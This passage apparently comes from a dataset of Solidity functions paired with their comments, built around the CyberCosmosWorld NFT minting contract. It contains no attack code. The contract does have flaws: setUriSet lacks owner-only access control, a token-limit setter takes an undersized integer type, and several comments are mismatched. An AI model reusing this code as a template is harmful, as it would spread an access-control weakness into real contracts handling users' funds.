_buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
preSaleMintPl
function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); }
/* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 7234, 7600 ] }
14,175
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
preSaleMintPl
function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); }
/* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 7831, 8029 ] }
14,176
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); 